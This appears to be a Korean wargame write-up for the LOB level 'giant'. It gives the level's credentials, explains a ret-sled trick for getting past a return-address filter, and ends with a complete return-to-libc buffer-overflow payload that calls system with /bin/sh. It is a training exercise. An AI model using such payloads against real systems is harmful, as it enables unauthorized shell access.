cgy12306
[LOB] giant 본문
ID : giant
PW : one step closer
return address에 들어갈 값이 bf와 40이면 종료를 한다.
어셈블리어로 봤을 때 ret의 주소는 0x0804851e이다. 필터링에 걸릴 것이 없다.
그러면 ret에 ret을 넣어줘서 다시 ret을 실행할 수 있게 해줄 수 있다.(Ret Sled기법)
ret은 return address를 eip에 넣고, 해당 주소로 이동한다.
간단하게 설명하자면
pop eip
jmp eip
로 표현이 가능하다.
/bin/sh의 주소를 알아보자.
system의 주소를 확인해 보자.
A를 44개 넣어서 스택을 확인해보자.
시나리오를 구상해보면 A를 44개 넣어주고, ret이 실행될 때 다시 ret을 실행시켜서 system함수를 호출한다. 그 후에 /bin/sh을 실행 시킬 것이다.
페이로드는 다음과 같다.
./assassin `python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40"'`
'Wargame > LOB' 카테고리의 다른 글
[LOB] zombie_assassin (0) | 2019.09.30 |
---|---|
[LOB] assassin (0) | 2019.09.30 |
[LOB] bugbear (0) | 2019.09.30 |
[LOB] darkknight (0) | 2019.09.30 |
[LOB] golem (0) | 2019.09.30 |
Comments